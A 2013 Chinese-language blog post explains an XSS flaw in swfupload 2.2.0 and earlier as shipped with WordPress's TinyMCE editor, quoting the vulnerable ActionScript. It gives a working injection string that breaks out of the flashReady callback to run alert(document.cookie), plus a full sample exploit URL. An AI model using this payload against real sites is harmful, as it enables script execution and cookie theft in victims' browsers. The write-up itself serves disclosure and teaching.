2013
Jul
28

Wordpress 中的 TinyMCE 編輯器,他的檔案上傳工具是使用 swfupload ,swfupload 主要是為了提供 flash 多檔案上傳功能,在 HTML5 File API 還未開發出來時,我們都是使用 Flash 來達成網頁可以同時選取多個檔案,以及同時上傳。

swfupload 2.2.0 以前的版本,已經被發現一個 XSS 的漏洞。

先來看一段 swfupload ActionScript 3.0 的程式


SWFUpload.as
  1. this.movieName = root.loaderInfo.parameters.movieName;
  2. this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
  3.  
  4. if (ExternalCall.Bool(this.testExternalInterface_Callback)) {
  5. ExternalCall.Simple(this.flashReady_Callback);
  6. this.hasCalledFlashReady = true;
  7. }

前兩行有一個很大的問題, input value 沒有經過任何檢查,這樣駭客可以對 movieName 植入任意值,而 4 ,5 又會直接執行 Simple 這個 function。

Simple 的程式碼可以看這一段

ExternalCall.as
  1. public static function Simple(callback:String):void {
  2. ExternalInterface.call(callback);
  3. }

這裡直接執行了 callback ,也就上一段的 flashReady_Callback , flash 會將 SWFUpload.instancesxxx 這一段文字當成一個字串,並且先 parse 後,交給 Javascript 去執行。

因為最後是交由 Javascript 去執行這一段 code ,所以我們就輸入以下的 hack 字串。

XSS injection
  1. "]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //

最後的結果,Javascript 會去執行這段有問題的程式。

XSS injection
  1. try {
  2. return encodeURIComponent( SWFUpload.instances[""] );
  3. } catch (e) {};
  4. if ( typeof(xss) == "undefined" ) { alert(document.cookie); }
  5. var xss=1;
  6. // "].flashReady();


XSS URL sample :

http://xxx.hackwordpress/wp-includes/js/swfupload/swfupload.swf?movieName="]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //

相關資料


回應 (Leave a comment)